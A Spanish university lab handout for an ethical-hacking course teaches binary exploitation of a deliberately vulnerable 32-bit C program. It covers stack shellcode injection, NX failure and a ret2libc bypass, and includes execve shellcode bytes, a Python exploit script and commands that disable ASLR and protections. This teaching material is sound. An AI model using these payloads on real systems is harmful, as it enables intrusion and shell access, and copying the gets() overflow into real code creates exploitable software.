Laboratorio 1

Protección NX y ret2libc

Pentesting y **Hacking Ético**

Explotación de Binarios

Hector Marco

Universitat Politècnica de València

2024-25

Curso 2024-25

Introducción y objetivos

En este primer laboratorio, se estudiará la técnica tradicional de inyectar **shellcode en la pila** cuando no existe la protección NX (No-eXecute), y cómo esa técnica falla cuando NX está activo. Posteriormente, se abordará la técnica de **ret2libc** para evadir NX reutilizando código de la `libc`.

En todos los ejemplos, se asume un entorno **de 32 bits** (opción `-m32` al compilar) para simplificar la inyección y el uso de convenciones de llamada de x86 de 32 bits.

Para laboratorio tenéis que seguir los siguientes pasos:

- Hacer grupos de personas. Introducir el DNI de ambos (sin la letra) de manera consecutiva sin espacios al compilar los programas vulnerables. Esto generará **variaciones** en el código vulnerable. Indicad en la memoria todos los comandos de compilación donde se pueda ver claramente los DNIs.
- **Deshabilitar temporalmente ASLR** o compilar sin PIE, para no lidiar con direcciones aleatorias en cada ejecución.
- Se proporcionan **pautas** concretas, dada la duración del laboratorio (2.5h) y la experiencia previa en ciberseguridad.

Archivo `vuln1.c` con personalización por DNI

```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#ifndef DNI
  #Error de compilacion, denife el DNI
#endif

#define BUFSIZE (64 + (DNI % 23))

void vulnerable() {
    char buffer[BUFSIZE];
    printf("Introduce datos: ");
    gets(buffer);
    printf("Has introducido: %s\n", buffer);
}

int main() {
    vulnerable();
    printf("Exploit failed\n");
    return 0;
}
```

Listing 1: vuln1.c - Código vulnerable con variantes por DNI

Nota: Para compilar con un DNI específico (en 32 bits), usamos la opción `-D`, por ejemplo:

```
$ gcc -m32 -DDNI=1234567812345678 ...
```

Paso 0: Preparar entorno y deshabilitar ASLR

Por defecto, ASLR en Linux aleatoriza la pila y las librerías, dificultando la localización de direcciones. Para simplificar, deshabilitamos el ASLR:

1. Deshabilitar ASLR temporalmente (requiere privilegios):

   ```
   $ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
   ```

2. O usar `setarch`, pera deshabilitar el ASLR al shell actual:

   ```
   $ setarch -R /bin/bash
   ```

Parte 1: Pila ejecutable y shellcode

Compilación con la pila ejecutable

1. Compilar `vuln1.c` con todas las protecciones deshabilitadas. La pila que sea ejecutable (`-z execstack`), sin stack protector (`-fno-stack-protector`), y en direcciones fijas (`-fno-pie -no-pie`), además en modo 32 bits (`-m32`):

   ```
   $ gcc -m32 -fno-pie -no-pie -z execstack -fno-stack-protector \
   -DDNI=12345678 -o vuln1_nx vuln1.c
   ```

2. Verificar con **readelf** si la sección `GNU_STACK` está marcada como ejecutable:

   ```
   $ readelf -W -l vuln1_nx | grep GNU_STACK
   # Se observará un flag 'RWE', es decir, stack ejecutable
   ```

Inserción de shellcode en la pila (escenario interactivo)

El siguiente bloque corresponde a un shellcode típico de 32 bits, cuya función es invocar `"/bin/sh"`. A continuación se muestra primero su **ensamblador AT&T** (32 bits), y luego los bytes que lo representan:

```
; Ensamblador AT&T (x86, 32 bits)
xor     %eax, %eax          ; 31 c0          ; eax=0
push    %eax                ; 50             ; push 0
push    $0x68732f2f         ; 68 2f 2f 73 68 ; push "//sh"
push    $0x6e69622f         ; 68 2f 62 69 6e ; push "/bin"
mov     %esp, %ebx          ; 89 e3          ; ebx -> "/bin//sh"
push    %eax                ; 50             ; push 0
push    %ebx                ; 53             ; push ebx
mov     %esp, %ecx          ; 89 e1          ; ecx -> {"/bin//sh", 0}
mov     $0xb, %al           ; b0 0b          ; execve=11
int     $0x80               ; cd 80          ; syscall
```

Los bytes correspondientes a ese ensamblador son:

```
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\
\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
```

Este shellcode se puede guardar en un fichero *payload* usando el `echo`, por ejemplo:

`$ echo -en "\x31\xc0\x50..." > payload`.

Con esto solo tendríamos el shellcode codificado en el fichero payload, pero necesitamos sobrescribir la dirección de retorno de la función vulnerable para que apunte a la base del `buffer`. Así cuando se haga el return se ejecutará nuestro payload. Tiene que tener el siguiente aspecto:

`[shellcode] + [padding] + [dirección base del buffer]`

Para generar el *payload* puedes seguir los siguientes pasos:

1. Determina la dirección base de `buffer`. Será la nueva dirección de retorno. Utilza `ltrace` y `gdb` e indica en caso de que haya una discrepancia, por qué y cual de las dos crees que debes utilizar.
2. Determina el offset (bytes de relleno) desde la base de `buffer` hasta la dirección de retorno. Puedes utilizar el `gdb` o simplemente ir añadiendo letras en el input hasta que el programa falle y luego con `dmesg` u otros ver donde quería saltar.
3. Sabiendo lo que ocupa el shellcode y teniendo determinado el offset, calcula el padding necesario para poder llegar justo antes de sobrescribir la dirección de retorno.
4. Crea el payload. Para ello utiliza el comando `echo -en "\x31 ...` como antes pero ahora añade primero el shellcode, luego el padding y finalmente la dirección de retorno.

Una vez tengas el *payload* puedes testearlo de la siguiente manera:

```
$ cat payload | ./vuln1_nx
```

Si **no** obtienes *Segmentation fault* ni tampoco *Exploit failed* y, aparentemente no ha pasado nada, entonces es que has tenido éxito. Lo que ocurre es que el shell "/bin/sh" que se ha ejecutado, verá la entrada estándar en **EOF** inmediatamente (la tubería se cierra tras leer el contenido), cerrándose al instante sin dar un prompt. Para **evitarlo** y poder interactuar, se puede mantener la tubería abierta así:

```
$ (cat payload; cat) | ./vuln1_nx
```

De este modo primero se inyectan todos los bytes de `payload` en `vuln1_nx` y después, el segundo "cat" permanece abierto, de modo que cuando el shell inyecta disponible y no se cierre. En cualquier caso, no verás un prompt explícito, pero si escribes `ls`, `pwd`, etc. y pulsas `Enter`, verás la salida correspondiente.

Actividad: Ahora modifica el payload para ejecute un comando diferente al `"/bin/sh"`:

1. Indica el comando escogido y modifica el payload para que ejecute el nuevo comando.
2. Muestra el resultado tras la ejecución del nuevo payload.

Conclusión de la Parte 1: Sin NX activo, puedes inyectar y ejecutar directamente código en la pila. Para tener un shell interactivo real, debes mantener la entrada abierta (por ejemplo con `(cat payload; cat) | ./vuln1_nx`).

Parte 2: Compilar con NX y observar el fallo

Repite el ejercicio de la parte 1 pero ahora sin tener la pila ejecutable, para ver exactamente cual es el problema:

1. Recompilar sin la opción `-z execstack` (ahora la pila no será ejecutable):

```
$ gcc -m32 -fno-pie -no-pie -fno-stack-protector -DDNI=12345678 \
-o vuln1_nx vuln1.c
```

2. Verificar con **readelf**:

```
$ readelf -W -l vuln1_nx | grep GNU_STACK
# Se observará flag 'RW' (sin E), es decir, no ejecutable
```

3. Si se repite la inyección del mismo shellcode, se producirá un *segfault* por intentar ejecutar en zona de datos.

Resultado: con NX activo, la pila no es ejecutable. Se requiere otra técnica para obtener shell.

Parte 3: Bypass NX con ret2libc

Como hemos visto en la parte 2, cuando tenemos el NX no podemos ejecutar el código inyectado en la pila. En esta parte vamos a bypassear el NX utilizando la técnica conocida como ret2libc.

Ret2libc en 32 bits (versión sencilla)

1. Localizar la dirección de `system` y la cadena `"/bin/sh"` en `libc` con `gdb`:

```
(gdb) b main
(gdb) run
(gdb) p system
$1 = (void *) 0xf7e12420
(gdb) find 0xf7e00000, 0xf7f00000, "/bin/sh"
0xf7f56abc
```

2. Determinar el offset en la pila (similar a la Parte 1).

3. Construir el payload:

```
[padding] + [direccion system] + [JUNK] + [dirección "/bin/sh"]
```

4. Prepara un mini-script en Python. A continuación se muestra un ejemplo:

```python
#!/usr/bin/env python3
import struct
import sys

offset = 76  # Ajustar segun lo hallado
system_addr = 0xf7e12420
binsh_addr  = 0xf7f56abc

payload  = b"A" * offset
payload += struct.pack("<I", system_addr)
payload += b"JUNK"  # Relleno
payload += struct.pack("<I", binsh_addr)

sys.stdout.buffer.write(payload)
```

5. **Ejecuta** tu script redirigiendo su salida a `vuln1_nx`:

   `(python3 ./exploit.py; cat) | ./vuln1_nx`

6. Intenta explicar por qué es necesario el "JUNK".

Conclusión de la Parte 3: Se aprovecha código existente en memoria (**ret2libc**), sin ejecutar nada en la pila!

Para entregar

1. **Informe breve** en PDF describiendo:
   a) Replica la parte 1 pero ejecuta "/bin/bash". Explica cómo has obtenido **cada uno de los bytes** del nuevo payload.
   b) Indica detalles del fallo con NX activo de la Parte 2: tipo de fallo obtenido, direcciones, etc.
   c) Replica la parte 3 pero ejecuta "/bin/bash". Explica cómo has obtenido **cada uno de los bytes** del nuevo payload.
   d) Explica **en detalle** si es necesario o no el "JUNK" de los payloads.
2. Incluye **script**, capturas de pantalla, configuraciones, ejecuciones de comandos tipo `readelf`, direcciones en `gdb`, nombre de usuario, hostname, hora del sistema (`readelf`), etc.

Sugerencias finales

- Con el ASLR activado, (`echo 2`), las direcciones de `system` y `"/bin/sh"` cambian en cada ejecución, rompiendo el exploit si no se obtienen direcciones de memoria del proceso con ataques de tipo *info leaks*.
- En futuros laboratorios se estudiarán *info leaks*, Stack Canaries y ROP.
- En x86_64, la convención SysV AMD64 requiere un control adicional de registros (ROP o ret2csu).

- La función `gets()` es insegura porque no limita la longitud de los datos leídos, facilitando el desbordamiento. En programas reales veríamos usos incorrectos de `memcpy()` pero esencialmente sería lo mismo.

¡Suerte en el laboratorio!